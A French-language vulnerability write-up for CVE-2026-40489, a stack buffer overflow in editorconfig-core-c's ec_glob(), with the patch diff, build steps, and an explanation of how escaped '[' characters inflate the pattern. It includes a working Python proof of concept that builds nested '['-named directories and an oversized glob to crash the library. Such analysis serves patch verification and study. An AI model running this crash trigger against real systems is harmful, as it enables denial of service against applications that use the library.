
Preuve de concept et analyse du correctif pour CVE-2026-40489, un débordement de tampon sur la pile dans ec_glob() de editorconfig-core-c, avec les étapes de compilation et un déclencheur de plantage en Python.
Description NIST de la CVE :
editorconfig-core-c is an EditorConfig core library for use by plugins supporting EditorConfig parsing. Versions up to
and including 0.12.10 have a stack-based buffer overflow in ec_glob() that allows an attacker to crash any application
using libeditorconfig by providing a specially crafted directory structure and .editorconfig file. This is an incomplete
fix for CVE-2023-0341. The pcre_str buffer was protected in 0.12.6 but the adjacent l_pattern[8194] stack buffer received
no equivalent protection. On Ubuntu 24.04, FORTIFY_SOURCE converts the overflow to SIGABRT (DoS). Version 0.12.11 contains
an updated fix.
clonez les deux versions :
git clone https://github.com/editorconfig/editorconfig-core-c.git
cd editorconfig-core-c
# vulnerable build (parent of the fix)
git worktree add ../ec-vuln b4724e4
# patched build (the CVE-2026-40489 fix)
git worktree add ../ec-fixed 5159be8
nous allons en faire le diff :
git -C editorconfig-core-c diff b4724e4 5159be8 -- src/lib/ec_glob.c
Le diff :
diff --git a/src/lib/ec_glob.c b/src/lib/ec_glob.c
index 18f98c1..8b1613f 100644
--- a/src/lib/ec_glob.c
+++ b/src/lib/ec_glob.c
@@ -96,8 +96,12 @@ int ec_glob(const char *pattern, const char *string)
_Bool are_braces_paired = 1;
UT_array * nums; /* number ranges */
int ret = 0;
+ size_t pattern_len = strlen(pattern);
- strcpy(l_pattern, pattern);
+ /* Reject patterns that would overflow l_pattern in the copy below. */
+ if (pattern_len >= sizeof(l_pattern))
+ return -1;
+ memcpy(l_pattern, pattern, pattern_len + 1);
p_pcre = pcre_str + 1;
pcre_str_end = pcre_str + 2 * PATTERN_MAX;
l'ancien code tenait sur une seule ligne :
strcpy(l_pattern, pattern);
copie les octets jusqu’à rencontrer un terminateur nul, sans se soucier de la taille de la destination. Si pattern est plus long que 8194 octets (2 * PATTERN_MAX), il écrit au-delà de la fin de l_pattern et sur la pile.
le correctif fait trois choses :
strlen(pattern) obtient la longueur avant de copier quoi que ce soit-1 au lieu de copier. Le >= (et non >) importe car il faut aussi de la place pour le terminateur nul.memcpy au lieu de strcpy puisque la longueur est déjà connue, il n’y a aucune raison de parcourir à nouveau la chaîne. memcpy copie exactement pattern_len + 1 octets (le +1 inclut le terminateur nul).nous allons compiler le binaire et vérifier qu’il fonctionne :
rm -rf build
mkdir build && cd build
cmake .. -DBUILD_SHARED_LIBS=OFF && make
PoC :
import os
import subprocess
import shutil
base = "/tmp/dummy-config"
nested = base
while len(nested) < 2100:
nested = os.path.join(nested, "[" * 200)
test_file = os.path.join(nested, "test.txt")
config_file = os.path.join(nested, ".editorconfig")
binary_path = "/tmp/editorconfig"
if os.path.exists(base):
shutil.rmtree(base)
os.makedirs(nested, exist_ok=True)
open(test_file, 'w').close()
# ~2100 char path of '[' escapes to ~4200 + 4000 char glob = ~8200 > 8194
glob_pattern = "A" * 4000
with open(config_file, 'w') as f:
f.write("root = true\n\n")
f.write(f"[{glob_pattern}]\n")
f.write("indent_size = 2\n")
res = subprocess.run([binary_path, test_file], capture_output=True, text=True)
if res.returncode == -6:
print(f"[+] vulnerable sigabrt (return code: {res.returncode})")
elif res.returncode < 0:
print(f"[+] crashed signal {-res.returncode} (return code: {res.returncode})")
else:
print(f"[-] not vulnerable (return code: {res.returncode})")
Le binaire recherche .editorconfig dans le dossier où se trouve le .txt et lit le motif glob à partir de celui-ci.
vous exécutez editorconfig /tmp/dummy-config/[[[[[.../test.txt, le binaire doit faire correspondre le nom de fichier au motif glob issu de .editorconfig, pour ce faire, il construit un motif complet comme : /tmp/dummy-config/\[\[\[\[.../**/AAAA.... Il préfixe le chemin du répertoire au glob afin de pouvoir effectuer la correspondance sur le chemin complet du fichier.
[ signifie quelque chose dans la syntaxe glob (c'est une classe de caractères, comme [a-z]). Le répertoire contient littéralement [ dans son nom, ce n'est pas censé être un glob. Le code échappe donc chacun d'eux avec une barre oblique inverse : [ → \[. Cela signifie « [ littéral, pas un glob ». editorconfig.c le fait automatiquement. Lorsqu'il lit le chemin de votre fichier .editorconfig, il parcourt chaque caractère et s'il trouve un caractère spécial de glob, il insère un \ devant celui-ci. Cela se produit avant que le chemin n'atteigne ec_glob()
Chaque [ du chemin gagne un caractère supplémentaire. 2100 caractères deviennent ~4200. Ajoutez le glob de 4000 caractères par-dessus et cette chaîne est passée à ec_glob(), qui effectue strcpy(l_pattern, pattern) dans un tampon de 8194 octets. 8203 > 8194, ce qui signifie qu'il écrit au-delà du tampon.
sur un Linux moderne avec FORTIFY_SOURCE, l'exécution détecte l'écrasement et tue le processus avec SIGABRT (signal 6). Python voit cela comme le code de retour -6, le code de retour -6 signifie qu'il est vulnérable, 0 ou 1 = corrigé (le correctif ajoute une vérification de longueur avant la copie et renvoie -1 si c'est trop long)